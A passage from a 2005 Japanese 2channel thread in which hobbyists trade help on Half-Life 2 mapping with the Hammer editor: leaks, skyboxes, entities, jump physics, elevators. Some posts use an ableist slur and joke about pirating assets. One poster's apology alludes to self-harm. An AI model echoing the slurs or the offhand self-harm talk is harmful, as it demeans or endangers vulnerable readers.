プレーヤーをクリップ出来ないのが問題。
プレーヤーの踏み込まない部分や3Dskyに置くならおk。
0402名無しさん@お腹いっぱい。
2005/10/29(土) 13:32:35ID:AZaXCk030403名無しさん@お腹いっぱい。
2005/10/30(日) 15:14:41ID:s/62PMFB以前モンスターハンタースレで、HL2用のモンスターハンターMODを製作中という
ウワサを聞いたことがあるんだけど、HL2のMODっていうのはそこまでゲームルールを
変更できてしまうものなの?
テンプレに載ってるサイト行ってみたんだが、いまいちよくわからない…
0404名無しさん@お腹いっぱい。
2005/10/30(日) 16:53:48ID:czEDpRKL自分で調べる方が為になるよ。
0405名無しさん@お腹いっぱい。
2005/10/30(日) 19:36:23ID:iTifJCp20406名無しさん@お腹いっぱい。
2005/10/31(月) 08:17:20ID:y4vVpbPHnpc_createも効果ないし、他にそれらしい項目もないのですが。
0407名無しさん@お腹いっぱい。
2005/10/31(月) 16:06:01ID:b1d1vJOpそういうゲームじゃありません。
攻撃してくるNPCを自分で作ってください。
0408名無しさん@お腹いっぱい。
2005/10/31(月) 17:02:05ID:y4vVpbPH本当にありがとうございました。
0409名無しさん@お腹いっぱい。
2005/10/31(月) 22:00:24ID:lQ07J4QPQキーでNPC項目へ。
0410名無しさん@お腹いっぱい。
2005/10/31(月) 23:58:02ID:JeTqffre、オブジェクトの色のつけ方とか、基本的な事書いてるところおしえてくだちぃ!
0411名無しさん@お腹いっぱい。
2005/11/01(火) 00:10:08ID://3UeWUz0412名無しさん@お腹いっぱい。
2005/11/01(火) 01:08:11ID:Al2W3tzAGoogle で Hammer Editor で検索すると直ぐに見つかる。
0413名無しさん@お腹いっぱい。
2005/11/01(火) 02:35:08ID:5CQQhZoL0414名無しさん@お腹いっぱい。
2005/11/01(火) 04:37:40ID:5sB/OLmKGoogleで日本語で絞って探せば結構あるよ。
0415名無しさん@お腹いっぱい。
2005/11/01(火) 14:56:51ID:FeM2yeml0416名無しさん@お腹いっぱい。
2005/11/01(火) 16:42:57ID:FeM2yemlOpenナントカってやつでいいのかな?
0417名無しさん@お腹いっぱい。
2005/11/01(火) 17:25:18ID://3UeWUzいつの間にかお気に入りから消えていた・・・
0418名無しさん@お腹いっぱい。
2005/11/01(火) 17:31:20ID:ls1N4h3U0419名無しさん@お腹いっぱい。
2005/11/01(火) 17:32:05ID://3UeWUzしまった、見たつもりが見逃してたw
サンクス。
0420名無しさん@お腹いっぱい。
2005/11/01(火) 18:20:09ID:AzCggyVo0421名無しさん@お腹いっぱい。
2005/11/01(火) 19:02:43ID:AKREJOOE0422416
2005/11/01(火) 20:34:18ID:FeM2yemlフォーマットは分からんかったけど、
とりあえず画像をVTFeditに突っ込むと露出を自動で変更して勝手に全てやってくれるんだな。
0423名無しさん@お腹いっぱい。
2005/11/01(火) 20:44:11ID://3UeWUzhl2.exeが強制終了させられ、結果が確認できません。
内容はttp://www.borujoa.org/upload/source/upload2993.txt
こんな感じです。
HL2側に問題があるのでしょうか?
0424名無しさん@お腹いっぱい。
2005/11/01(火) 20:45:33ID:FeM2yemlこれってフォーマット名だったのか・・・ そのまんまじゃねーかw
0425名無しさん@お腹いっぱい。
2005/11/01(火) 20:50:38ID:FeM2yeml423 :名無しさん@お腹いっぱい。:2005/11/01(火) 20:44:11 ID://3UeWUz
411 :名無しさん@お腹いっぱい。:2005/11/01(火) 00:10:08 ID://3UeWUz
初心者は免罪符じゃねーあひゅっ!
へぇー。初心者ってのは免罪符にはならない・・・と?
まぁ過ぎたことは気にしないからいいけど、
とりあえずリークしてるから、マップ全体を巨大な中空ブラシで覆って、再度コンパイルしてみな。
0426名無しさん@お腹いっぱい。
2005/11/01(火) 21:05:52ID://3UeWUz初心者なので分かりません^^;って人いるだろ。
まぁ実際初心者ですからってのは免罪符にはならない。
巨大な中空ブラシですか。調べてみます。
0427名無しさん@お腹いっぱい。
2005/11/01(火) 21:10:53ID:ls1N4h3Uちょっとまて・・・
お前の質問してることが、超低レベルな初歩的な質問なんだが・・・
エラーログもドキュメントも>>1も読んでないのがバレバレなんだが・・・
0428名無しさん@お腹いっぱい。
2005/11/01(火) 21:17:37ID:Al2W3tzAリーク部分ここな。
> ProcessBlock_Thread: 0...1...2...3...4...5...6...7...8...9...10 (1)
> **** leaked ****
ところで、アカウント名思いっきり出てるぞ、ファイル消した方がいい。
0429名無しさん@お腹いっぱい。
2005/11/01(火) 21:21:09ID:FeM2yeml0430名無しさん@お腹いっぱい。
2005/11/01(火) 21:26:35ID:Al2W3tzA注意したほうがいい。CSSの勉強頑張れよ。
0431名無しさん@お腹いっぱい。
2005/11/01(火) 23:58:24ID://3UeWUzホントだ。
一応削除しておきます。サンクス。
0432名無しさん@お腹いっぱい。
2005/11/02(水) 01:45:59ID:hmnDJaKibaiozuki
うーむ・・・ 一体何考えてこれにしたのか・・・
0433名無しさん@お腹いっぱい。
2005/11/02(水) 08:33:12ID:gnLt4MXi8 名前:名無し 投稿日:05/11/02 02:08 HOST:palo5b.pacific.net.sg
対象区分:[個人・三種]優先削除あり
削除対象アドレス:
http://game9.2ch.net/test/read.cgi/gamef/1119745898/432
削除理由・詳細・その他:
アカウント晒し
0434名無しさん@お腹いっぱい。
2005/11/02(水) 11:15:27ID:qf7ZIzvzinfo_player_startがないからだと思うよ。
0435名無しさん@お腹いっぱい。
2005/11/02(水) 15:21:46ID:5IVezy0i0436名無しさん@お腹いっぱい。
2005/11/02(水) 15:39:25ID:Bh9mg9H+0437名無しさん@お腹いっぱい。
2005/11/02(水) 16:06:24ID:ZBboDU/e0438名無しさん@お腹いっぱい。
2005/11/02(水) 17:08:37ID:B1A6O/b8これのことですかw
http://baiozuki.fc2web.com/
翔ちゃん、baio好きならCS:Sなんかやらないでよ。baio一本で意思を貫こうよ。ねぇ
0439名無しさん@お腹いっぱい。
2005/11/02(水) 17:19:27ID:B1A6O/b8HL2のリーク版用のモデルデコンパイラをまだ持ってる人っていませんかね?
cannon fodder'sに昔あったと思うんですが・・・
0440名無しさん@お腹いっぱい。
2005/11/02(水) 17:28:18ID:ZBboDU/e0441名無しさん@お腹いっぱい。
2005/11/02(水) 17:36:35ID:XpXBtpzi0442名無しさん@お腹いっぱい。
2005/11/02(水) 17:38:24ID:XpXBtpzittp://www.chaosincarnate.net/cannonfodder/cftools.htm
0443名無しさん@お腹いっぱい。
2005/11/02(水) 17:41:17ID:2eZSupTmプレーヤにtrigger_pushをSetParentでくっつけてジャンプをトリガーとして
上に押し出す方法も考えたんですが、ジャンプを検知する方法が見つからず
ダメでした。
重力を小さくするだけじゃ動きがもっさりするし、プレーヤ以外も跳びすぎて
使いものにならないし・・
0444名無しさん@お腹いっぱい。
2005/11/02(水) 18:01:23ID:B1A6O/b8なかったら、
・player_modifyspeedだかってエンティティで動くスピードを二倍にする
・走る速さを半分にする
・重力を減らす
これでどうよ?
0445名無しさん@お腹いっぱい。
2005/11/02(水) 18:03:18ID:B1A6O/b8これは現行バージョン用ですね。
昔、HL2のベータ版が流れまわってた時にはあったと思うんですが・・・
保存してた人いないかなぁ・・・
0446名無しさん@お腹いっぱい。
2005/11/02(水) 18:09:18ID:ZBboDU/e>>443
どんなマップかしらんが期待してるぜ。
0447名無しさん@お腹いっぱい。
2005/11/02(水) 19:10:42ID:u0PGOrGVどんなマップかしらんが期待してるぜ。
0448名無しさん@お腹いっぱい。
2005/11/02(水) 19:52:46ID:ZBboDU/e翔タンだ。
0449名無しさん@お腹いっぱい。
2005/11/02(水) 20:03:34ID:2eZSupTmありがとうございます。
この方法でプレーヤの動きに関しては理想どおりになりました。
0450名無しさん@お腹いっぱい。
2005/11/02(水) 20:26:57ID:B1A6O/b8ついでに言っておくと、これシングルプレイのみで有効だから。
人集めてマルチプレイしてみたら、クライアント側にラグが発生するらしく、
使えん代物だったような気がする。
0451名無しさん@お腹いっぱい。
2005/11/02(水) 21:09:13ID:YXdO8s5k#define GAMEMOVEMENT_DUCK_TIME1000.0f// ms
#define GAMEMOVEMENT_JUMP_TIME510.0f// ms approx - based on the 21 unit height jump
#define GAMEMOVEMENT_JUMP_HEIGHT21.0f// units
0452名無しさん@お腹いっぱい。
2005/11/02(水) 21:23:46ID:B1A6O/b8の部分を書き換えるか変更できるコマンドを作ってMOD化しましょうってことですかね。
しかし、普通のジャンプの高さってこんなに低かったんですねw マリオに笑われる
0453名無しさん@お腹いっぱい。
2005/11/02(水) 21:52:38ID:H+G9TtG/ジャンプありで超えれる壁は20インチまで。
0454名無しさん@お腹いっぱい。
2005/11/02(水) 22:08:35ID:XpXBtpziリーク版用にこだわる意味が分からないし、そんなの無かった気がする。
テンプレサイトに過去ログ全部保存されてるから探してみれば?
>>451
garry使ってluaで上書きできまいか
0455名無しさん@お腹いっぱい。
2005/11/03(木) 21:57:11ID:EvihjPWi本当に始めての人が見るような
0456名無しさん@お腹いっぱい。
2005/11/03(木) 22:02:18ID:EvihjPWi0457名無しさん@お腹いっぱい。
2005/11/03(木) 22:14:39ID:x8NNHoU6メルアド教えろ
0458名無しさん@お腹いっぱい。
2005/11/03(木) 22:17:10ID:EvihjPWi0459名無しさん@お腹いっぱい。
2005/11/03(木) 22:28:38ID:vlPvseYa■Source SDKドキュメント日本語版
ttp://tendon.xrea.jp/phpBB/kb.php?mode=article&k=71
>>1くらい読め。ここの内容を全て読んだ上で質問があるなら答えよう。
0460名無しさん@お腹いっぱい。
2005/11/03(木) 22:54:40ID:EvihjPWi実際に横で作ってるところみれたらわかりやすいんでしょうけど‥まぁがんばってみます
0461名無しさん@お腹いっぱい。
2005/11/03(木) 23:58:11ID:x8NNHoU6おまえにゃむりだ
0462名無しさん@お腹いっぱい。
2005/11/04(金) 00:18:27ID:qWEUljD+ドキュメントやコミュニティが充実してるのはいいんだけど。
0463名無しさん@お腹いっぱい。
2005/11/04(金) 00:22:12ID:6EBrS4Zfがんばれ。実際、MODを作ろうとするやつが少ない。
0464名無しさん@お腹いっぱい。
2005/11/04(金) 02:47:42ID:4GK46Yn6マッピングならとりあえず
はじめてのHalf-Life 2: Deathmatchマップ(はじめに)
からだな。俺は優しい。京阪神に住んでるなら横で作って見せても良いぞ。
0465名無しさん@お腹いっぱい。
2005/11/04(金) 13:24:15ID:W0D43jMDちょwww住んでるwww
本当に見せてくれるか?
0466名無しさん@お腹いっぱい。
2005/11/04(金) 13:43:26ID:9iTNSjNL0467名無しさん@お腹いっぱい。
2005/11/04(金) 13:59:00ID:qWEUljD+0468名無しさん@お腹いっぱい。
2005/11/04(金) 18:11:09ID:Wrq5Palu0469名無しさん@お腹いっぱい。
2005/11/04(金) 18:49:05ID:fL9ZtoHG熱い男が出会ってMODって生まれるんですね
0470名無しさん@お腹いっぱい。
2005/11/04(金) 19:17:05ID:qWEUljD+0471名無しさん@お腹いっぱい。
2005/11/04(金) 19:19:21ID:ySKv3/eA0472名無しさん@お腹いっぱい。
2005/11/04(金) 19:29:24ID:W0D43jMD先生、先程の授業の"子供の作り方"がよく分からないので後で教えて頂けませんか?
0473名無しさん@お腹いっぱい。
2005/11/04(金) 19:50:43ID:mlX+dCEX釣りばっかしてんじゃないよ
0474名無しさん@お腹いっぱい。
2005/11/04(金) 20:29:24ID:W0D43jMDどういう意味だい?
0475名無しさん@お腹いっぱい。
2005/11/05(土) 06:34:48ID:1BW6zdRb0476名無しさん@お腹いっぱい。
2005/11/06(日) 13:38:49ID:ttxakOTbHLDM作る感覚で作っちゃっていいのかな。
で、質問なんだけど
デスマッチ用MAPのプレイヤーエンティティの読み込方は
info_player_deathmatchで、シングルプレイMAPはinfo_player_startらしいが
info_player_deathmatch なんてエンティティ無いんですけど…
もしかしてバージョンアップしてシングル用プレイヤーエンティティ、デスマッチ用〜
とかって区別がなくなったとか?
教えてギヴミー
0477名無しさん@お腹いっぱい。
2005/11/06(日) 13:43:07ID:pA4fzNFBロクに説明読まないやつほど、分からないことは
バグとか仕様変更のせいにしたがるな。
0478名無しさん@お腹いっぱい。
2005/11/06(日) 13:45:42ID:4zOCmVuY普通にありますよ。ハンマー起動したときにエンティティツールにデフォルトで
選択されていませんか?
0479名無しさん@お腹いっぱい。
2005/11/06(日) 18:14:33ID:aE7BAADihammerはsteamからインストールするべし。
そうすると勝手に設定してくれる。
steamからインストールしたのに無いぜって場合は
シングル用に設定されている可能性がある。
Tools -> Optionを開いて、DM用の設定に変える。
0480名無しさん@お腹いっぱい。
2005/11/08(火) 20:15:03ID:Uu+jdwM2お前馬鹿だなw
0481名無しさん@お腹いっぱい。
2005/11/08(火) 21:26:23ID:uXz1Jkka0482名無しさん@お腹いっぱい。
2005/11/08(火) 21:52:01ID:P89Ph5Qk0483名無しさん@お腹いっぱい。
2005/11/08(火) 22:35:43ID:LjFv7Snx確かに>>277は池沼だけど
亀レスすぎ
0484名無しさん@お腹いっぱい。
2005/11/09(水) 00:02:13ID:fPT4T/0u一応「$skybox」をつけてvtfにし、元から用意されているskybox用テクスチャのvmtからリネームしたものとセットで入れてみたりしたんですがうまくいかないんです。
0485名無しさん@お腹いっぱい。
2005/11/09(水) 00:31:25ID:2PcZYkT4Half-LifeはQuake1Engineがベース。
ソースは>>277からの流れで公式資料が提示されてる。
こんなのもあるし。
ttp://www.watch.impress.co.jp/game/docs/20051014/mod07.htm
0486名無しさん@お腹いっぱい。
2005/11/09(水) 01:02:46ID:8INqVugHhttp://developer.valvesoftware.com/wiki/VTF
ここの下んとこに、作成支援兼ビューワのツールがある。
好きなのを使いなされ。
0487名無しさん@お腹いっぱい。
2005/11/09(水) 01:05:59ID:by1p6KZ4必死ですね^^
0488名無しさん@お腹いっぱい。
2005/11/09(水) 01:27:38ID:fPT4T/0uごめんなさい。多分マテリアルとしてはskyboxに出来てると思うんですが、それより先の使い方が分からないんです。
どこの階層に入れればよいのか、入れたとしてもHammerからどうやってしているするのかが分からないのです。
単純にBrushに貼ったのでは空として機能しませんよね?
0489名無しさん@お腹いっぱい。
2005/11/09(水) 01:37:35ID:EobPRrtrマップ全体の設定するところにスカイボックス名入力する場所があったはず
0490名無しさん@お腹いっぱい。
2005/11/09(水) 01:38:07ID:8INqVugH今度からは自分で調べるようにしよう。
editタブ辺りの中に、マッププロパティってのがあると思う。
その中に、スカイマップテクスチャを指定する部分があるよ。
開いてみればすぐにわかると思う。
0491名無しさん@お腹いっぱい。
2005/11/09(水) 03:50:33ID:fPT4T/0uごめんさい。 それも知っています。
作ったskybox用のmtr・vtfをどこに置いた上で設定すればよいのか分からなかったんです。
申し訳ないんでもうあきらめます。ありがとうございました。
0492名無しさん@お腹いっぱい。
2005/11/10(木) 01:53:25ID:bi/QpWUhどういう形式にコンパイルすればいいかって聞かれたから作成支援ツールを教えてるんだし、
どうやってHammerで指定するかわからないって聞かれたから指定方法教えてるんだろう。
みんなわかる範囲で的確に答えてくれてるのに、知ってますはないだろ。
レスつく間に調べがついた事項なんだろうことはわかるけど。
で、たぶんGCF内の配置と同じ配置でsourcesdk内に入れたらいいだけだと思うよ。
デフォルト以外の元から有るスカイマップを使うことはできたのなら、同じように設定すればいいよ。
0493484
2005/11/10(木) 03:07:56ID:B3Bi2dB2全くもって申し訳ありません。
結果として、つい先ほど自作のskyboxを作製する事が出来ました。
池沼なものでどのように状況を説明したらよいのか分からなかったのです。
初めに質問した時点で
・.txtに$skyboxを記述してコンパイルする。
・(恐らく)オリジナルの.gcfに入れているのとと同じディレクトリに入れる。
・マッププロパティで設定する
・.gcf内のskyboxフォルダに入っているテクスチャを自作データ用の新規skyboxフォルダにコピーし、リネームして使うが上手くいかない。
と言うのは試していたんです。
この中でどの手順が間違っていたのかが分からずにあのような質問の仕方をしてしまいました。
物凄く初歩的なミスをしていました。
skyboxフォルダの中に、やたらと同じような名前の.vmt・.vtfが有るとは思っていたのですが、
「(任意の名前)+(各方向を指定する文字列).vmt」と言う名前のファイルを全方向分用意し、その上で(任意の名前)で指定する必要があったんですね。
方向を指定する文字列は「bk・dn・ft・lf・rt・up」の6種類のようです。
こんな事で一月以上もかけていたと思うとあまりの自分の無能さが嫌になります。
本当に申し訳ありませんでした。
本来であればこんな池沼は死ぬべきだとは思うのですが、
今までにも中途半端に実行して度々周囲に迷惑をかけてきたもので、もうそのような真似をするわけにもいかないもので…
0494名無しさん@お腹いっぱい。
2005/11/10(木) 05:29:17ID:B3Bi2dB2疲れてるせいか素が出ました。
0495名無しさん@お腹いっぱい。
2005/11/10(木) 11:06:56ID:rzB786EDたしかにあれはわかりづらい。
0496名無しさん@お腹いっぱい。
2005/11/10(木) 12:18:23ID:E6cKBKGT0497名無しさん@お腹いっぱい。
2005/11/10(木) 12:25:00ID:E6cKBKGT3Dからどうやって6面取り出すのかもわからんし、
2Dだと、垂直面はともかく、一体どうやれば上面と下面を描けるのかさっぱりだぜww
俺に出来るのは他のゲームから違法で無断盗用してくる位だな
0498名無しさん@お腹いっぱい。
2005/11/10(木) 21:36:07ID:LAqtmKT4lf・左面 rt・右面 up・上面
こういう感じか?
0499名無しさん@お腹いっぱい。
2005/11/10(木) 21:42:27ID:zPqTPFXWそんなの誰でもしっとるわ。
どう書くか?が問題だろ。
0500名無しさん@お腹いっぱい。
2005/11/11(金) 01:59:28ID:pq3oBWp0昔から LightWaveやStudioMAXのスカイマッププラグインで、簡単に自作出来るよ。
パラメーター設定したら勝手に6面切り出してくれるし。
0501名無しさん@お腹いっぱい。
2005/11/11(金) 02:06:10ID:g/ORcdsUそれと、sky用に書かれたのじゃ全然出来違うけどね。
0502名無しさん@お腹いっぱい。
2005/11/11(金) 12:21:14ID:QS96l1cGsky用に書くのがスカイマッププラグイン。
0503名無しさん@お腹いっぱい。
2005/11/11(金) 12:34:33ID:g/ORcdsU0504名無しさん@お腹いっぱい。
2005/11/11(金) 12:42:08ID:hqUclqvY0505名無しさん@お腹いっぱい。
2005/11/11(金) 13:10:29ID:QS96l1cG映画にも使われてるし、クオリティーは見劣りしないよ。
0506名無しさん@お腹いっぱい。
2005/11/11(金) 14:00:51ID:g/ORcdsU使えばわかるよ。
0507名無しさん@お腹いっぱい。
2005/11/11(金) 16:37:14ID:M1dMcqeCテクスチャの隅の線が浮き出ていて、空が立方体状に見えてるよ。
あれ、作ったスカイマップに後からボカシとかの処理したんだろうな
0508名無しさん@お腹いっぱい。
2005/11/11(金) 20:25:21ID:QS96l1cGゲームのマップに使う場合の話だよ。
0509名無しさん@お腹いっぱい。
2005/11/12(土) 20:24:25ID:sBjCggEk0510名無しさん@お腹いっぱい。
2005/11/13(日) 03:52:39ID:z/KkeD8R正直なにが分からないのかさえわかりません‥
本当に1から(専門用語など使われていなくて)チュートリアルみたいな感じで説明してる場所ありませんか?
ちなみにテンプレ見ましたが、どこから見たらいいのか分からなかったです‥
先輩方!御教授お願い致します!
0511名無しさん@お腹いっぱい。
2005/11/13(日) 07:58:46ID:IMHPf268教えてはあげないけど
このHPの
ttp://www5f.biglobe.ne.jp/~aa-japan/half-life2/
↓此処
ttp://www5f.biglobe.ne.jp/~aa-japan/half-life2/edit.html
でも見といたら
0512名無しさん@お腹いっぱい。
2005/11/13(日) 13:50:40ID:/0oR0uA6とりあえずマップと呼べるものは作れるようになっているはず。
0513名無しさん@お腹いっぱい。
2005/11/14(月) 01:18:27ID:ULR18NqB人数いるとすごい盛り上がる
0514名無しさん@お腹いっぱい。
2005/11/14(月) 09:11:43ID:H1tl0sGwちょっと効率悪い作り方だけど、>>511の紹介してくれたとこを参考にすれば比較的簡単だと思う。
俺はHL2エンジンの基本を説明してみる。
HL2の世界はブラシで作られた空間とその中に置かれた複数個のエンティティ、
またそれらの相互作用によって特徴付けられる。
ブラシ(ワールドブラシ)とは壊したり動かしたりできないただの壁を作る多面体のこと。
これを並べて空間を作る。
ブラシは別に直方体でなくとも良いが、180°以上の角を持つことはできない。
ただの壁以外のものもブラシで表現することがあるが、ここでは説明を省く。
エンティティとは、壊れる壁やドアやプレイヤーのリスポーン地点など、
ただの壁以外のマップを特徴付けるもの全てのこと。
ポイントエンティティとブラシエンティティに分かれる。
ポイントエンティティは位置に意味があるもの、
例えばアイテムの位置やNPCの出現場所、ライトの位置など。
ブラシエンティティはその範囲に意味があるもの、例えば壊せる壁やダメージゾーンなど。
エンティティは複数個のキー情報を持つ。
例えば壊せる壁の耐久性やダメージゾーンのダメージ量など。
エンティティは複数個のアウトプットを持つことができる。
アウトプットとは、そのエンティティに何かが起こったときに
他のエンティティに何かを起こすという情報。
ボタンを押せば壁が崩れて進めるようになる、
何かを壊したらどこかで爆発が起きるなどを表現できる。
0515名無しさん@お腹いっぱい。
2005/11/14(月) 12:31:34ID:QECYmslQGJ! 初心者の俺にはわかりやすくて助かるよ。^^/
0516名無しさん@お腹いっぱい。
2005/11/14(月) 16:22:36ID:3GrIlmWo0517名無しさん@お腹いっぱい。
2005/11/14(月) 16:46:59ID:r+yg3wh9ただそれをくりぬいたり切り取ったりした時に180°以上の角が出来る可能性がある。
0518名無しさん@お腹いっぱい。
2005/11/14(月) 19:12:36ID:3GrIlmWo面数5面以上でsphereブラシ作って、マップタブ⇒check for problem やってみてよ。
ちなみに、作ってからマップをセーブ⇒リロード すると、sphereの一部の面を除いて変形が起こって、
8角形の面になる。ポリゴン数二倍の素晴らしさ
0519名無しさん@お腹いっぱい。
2005/11/14(月) 20:44:02ID:NLNX557fsphereブラシは8192インチ立方くらのデカさで作ってから縮小させないとおかしくなるよ。
0520名無しさん@お腹いっぱい。
2005/11/16(水) 02:31:29ID:Y6QUWG781万5000円のハードで綺麗に動くならPCの意味ないのでは。
0521名無しさん@お腹いっぱい。
2005/11/16(水) 02:36:24ID:Y8FITIYr0522名無しさん@お腹いっぱい。
2005/11/16(水) 02:46:50ID:fz0+jHqx>まんま移植できるものなのですか?
無理
0523名無しさん@お腹いっぱい。
2005/11/16(水) 02:52:00ID:KCQARqQ+ttp://media.xbox.ign.com/media/552/552580/imgs_1.html
水面の処理がかなりショボくなってる
0524名無しさん@お腹いっぱい。
2005/11/16(水) 03:25:54ID:AesAx9Geしかしすげえなxbox
でもゲームしづらそうだなマウスないし
0525名無しさん@お腹いっぱい。
2005/11/16(水) 03:53:11ID:/JjLxF0kがっぽいが最悪だね。
0526名無しさん@お腹いっぱい。
2005/11/16(水) 03:56:00ID:KkOO4ebthttp://media.xbox.ign.com/media/552/552580/img_3153348.html
サムネイルだと同じに見えるけど やっぱきついな
0527名無しさん@お腹いっぱい。
2005/11/16(水) 04:13:20ID:/JjLxF0k最低設定よりちょっと上って感じかな?
ジャギーが凄いね
0528名無しさん@お腹いっぱい。
2005/11/16(水) 06:42:14ID:kRbg3rdY1万くらいのハードの値段でコレで動けば結構いいでしょ。
ただ、DODやCSやゲリとかMOD類が動かないから魅力が5分の1くらいしかないけど。
0529名無しさん@お腹いっぱい。
2005/11/16(水) 12:34:56ID:R99lqpQ2テクスチャに使えるメモリが少ない&処理能力のせいかここぞというところでしか使ってないみたいだ。
G-MANのアップには使われているけどゾンビとか名前を忘れたけど序盤にワープさせてくれる博士とかには使われていないね。
0530名無しさん@お腹いっぱい。
2005/11/16(水) 18:13:31ID:/JjLxF0kマップ全体の地面を除いた5つのブラッシュにskybox/sky_day01_09rtを適用しました。
そしてEntityツールでlight_environmentを2Dビューで追加すると
緑色の十字のようなものが現れ、MapPropertiesの
SkyBox Texture Nameにskybox/sky_day01_09rと入力し、適用を押し保存し、コンパイルしてみました。
ひとつの小さな箱の中にinfo_player_deathmatchのみをいれ、その小さな箱をスカイテクスチャと地面(水)でかこんでいたのですが
noclipで小さな箱から脱出しても真っ暗なままでlight_environmentは全く利いていないようでした。
何か間違っているところがあるのでしょうか?ご指摘お願いします。
0531名無しさん@お腹いっぱい。
2005/11/16(水) 18:37:27ID:Vv1VXXv+tools/toolsskyboxで囲めばOK
0532名無しさん@お腹いっぱい。
2005/11/16(水) 18:44:17ID:R99lqpQ2「skybox/sky_day01_09rt」は空の絵柄のテクスチャであって空を定義するテクスチャではありません。
「tools/toolsskybox」を空にしたいBrushに設定し、
その上でメニューの「map→mappropertys→skybox texture name」に使用したいskyboxテクスチャの名前を入力していただきたい。
空の名前は>>493 が言っているように本来のskyboxテクスチャの名前に方向を指示する文字がついているので気をつけること。
つまり「sky_day01_09rt」を使用したい場合は「sky_day01_09」と入力する。
0533名無しさん@お腹いっぱい。
2005/11/16(水) 20:19:04ID:WyDKMPfb0534名無しさん@お腹いっぱい。
2005/11/16(水) 20:28:33ID:/JjLxF0kなんとなく分かってきました!ありがとうございました。
>>533
お兄さん、ちょっと期待しちゃぅょ
0535名無しさん@お腹いっぱい。
2005/11/16(水) 20:29:25ID:R99lqpQ2ネ申!! ありがとう。 あとメタセコイアかMAXからコンパイルせずにPropを出力できるプラグインもよろしくお願いします。
0536名無しさん@お腹いっぱい。
2005/11/16(水) 22:28:41ID:509sIZYu0537名無しさん@お腹いっぱい。
2005/11/16(水) 23:03:16ID:00cUSfNw口先だけの奴w
0538名無しさん@お腹いっぱい。
2005/11/17(木) 17:15:34ID:NHFRuiH2func_tracktrainとpath_trackを組み合わせて作ることは出来るんでしょうか?
特定のpath_trackへ切り替えられないものかと色々やってみましたがどうも上手く出来ません。
他の方法があるか、それとも複雑な組み合わせをしないと出来ないんでしょうか。
0539名無しさん@お腹いっぱい。
2005/11/17(木) 18:58:01ID:yf6gLOV+エレベータ内の押したボタンによって、目的先でない階で止まってもすぐresumeを出して扉は開かせないようなロジック関係をつくる。
・・・俺にはこれくらいしか思い浮かびません
0540名無しさん@お腹いっぱい。
2005/11/17(木) 19:06:01ID:yf6gLOV+途中の階で止めたい時は、そのブラシを出現させてスタックさせて止めればいいかも。
再度動す時は、逆方向ならstart_backwardを使う(ブラシは消しておく)、そのままの方向ならそのブラシを消すだけ。
0541名無しさん@お腹いっぱい。
2005/11/17(木) 19:15:53ID:s2qTKL9h0542名無しさん@お腹いっぱい。
2005/11/18(金) 00:25:50ID:0DCK3Bn5どうやるの?
0543名無しさん@お腹いっぱい。
2005/11/18(金) 02:26:48ID:MyrN9V4Fどこから変更できるのでしょうか?
0544名無しさん@お腹いっぱい。
2005/11/18(金) 03:20:45ID:478+mwkwhttp://www.akilling.org/akg/tutorials/wiseElevators.asp
0545名無しさん@お腹いっぱい。
2005/11/18(金) 15:17:16ID:0O8GStnc0546名無しさん@お腹いっぱい。
2005/11/18(金) 15:41:04ID:wUorgyTJ0547名無しさん@お腹いっぱい。
2005/11/18(金) 15:44:24ID:0O8GStnc0548名無しさん@お腹いっぱい。
2005/11/18(金) 18:20:30ID:mEeUVryc0549545
2005/11/18(金) 20:26:13ID:0O8GStnc誤爆したので書いてないけど。
0550名無しさん@お腹いっぱい。
2005/11/18(金) 22:29:03ID:478+mwkwそういわれると俺の目にもその光景が…(ただしパッケージ画像はシェンムー)
操作がFPSなら面白そうなのにな。
0551名無しさん@お腹いっぱい。
2005/11/19(土) 03:42:54ID:LyxH/kez監視カメラの画面みたいのどうやってつくるんですか!?
0552名無しさん@お腹いっぱい。
2005/11/19(土) 04:23:09ID:LyxH/kezマップの大体の作り方わかったお!
早くサーフマップ作れるようになりたいお!
0553名無しさん@お腹いっぱい。
2005/11/19(土) 17:47:04ID:YiwI7g2l0554名無しさん@お腹いっぱい。
2005/11/19(土) 17:47:47ID:YiwI7g2l0555名無しさん@お腹いっぱい。
2005/11/19(土) 18:38:25ID:S1GgbejT頂点ツールを使って色々試してみたのですが、急傾のようになり、上手くいきません。
0556名無しさん@お腹いっぱい。
2005/11/19(土) 19:08:44ID:34DyCQHG0557名無しさん@お腹いっぱい。
2005/11/19(土) 20:38:49ID:oyVeuWoPCSでsurf_ってついたマッププレイしてみれば分かるかと。
傾斜をstrafeキーのみで「滑る」マップ。
0558名無しさん@お腹いっぱい。
2005/11/19(土) 23:22:17ID:S1GgbejTググってみます。サンクスです。
0559名無しさん@お腹いっぱい。
2005/11/20(日) 10:47:45ID:7S3N483cすみません、具体的にディスプレースメントとはどのような事なのでしょうか?
C-SEC等にも載っていなかったのですがHammerでも使えるのでしょうか?
0560名無しさん@お腹いっぱい。
2005/11/20(日) 10:58:56ID:HQY3oj52ttp://www.c-sec.net/phpBB/kb.php?mode=article&k=85
C-SECでは“ディスプレイスメント”と表記されてるね
0561名無しさん@お腹いっぱい。
2005/11/20(日) 11:32:58ID:7S3N483c�d!
これは便利だ・・
0562名無しさん@お腹いっぱい。
2005/11/20(日) 12:21:39ID:+0W6WZog0563名無しさん@お腹いっぱい。
2005/11/20(日) 12:30:39ID:7S3N483c0564名無しさん@お腹いっぱい。
2005/11/21(月) 08:34:21ID:WVv0jav6となるのはうちだけでしょうか?FacePropaties勉強したかったのに
ttp://developer.valvesoftware.com/wiki/Category:Japanese
0565名無しさん@お腹いっぱい。
2005/11/21(月) 10:20:50ID:bDv0UyPW出してたが。とりあえずまだGoogleキャッシュは生きてる。
0566名無しさん@お腹いっぱい。
2005/11/21(月) 10:39:16ID:WVv0jav6おぉ本当だ。
サンクスです。
0567名無しさん@お腹いっぱい。
2005/11/21(月) 14:13:51ID:YBZBawgM作って一人で練習しようとすると、どうも滑り方の設定が違うようで、全然練習できません。
コンソールになんて入力すればいいですか?
ちなみにsv_gravity "***"を低く設定しましたが、ジャンプ力上がるだけで
滑るとすぐ落ちてしまいます。
0568名無しさん@お腹いっぱい。
2005/11/21(月) 15:14:13ID:qtdNyLR5スレ違い
0569名無しさん@お腹いっぱい。
2005/11/21(月) 15:33:34ID:kd5pAJOh前進キーと後退キーを一切使わない。
これさえ守れば滑られる。
0570名無しさん@お腹いっぱい。
2005/11/21(月) 16:40:36ID:YBZBawgMはい、いつもどうり前進後退キーつかってません。
でも明らかにサーフ鯖でやってるときと滑り方が違います。
主に斜面からの離陸の仕方とかです。
斜面から斜面への飛び込みが勢いがつかない感じです。
0571名無しさん@お腹いっぱい。
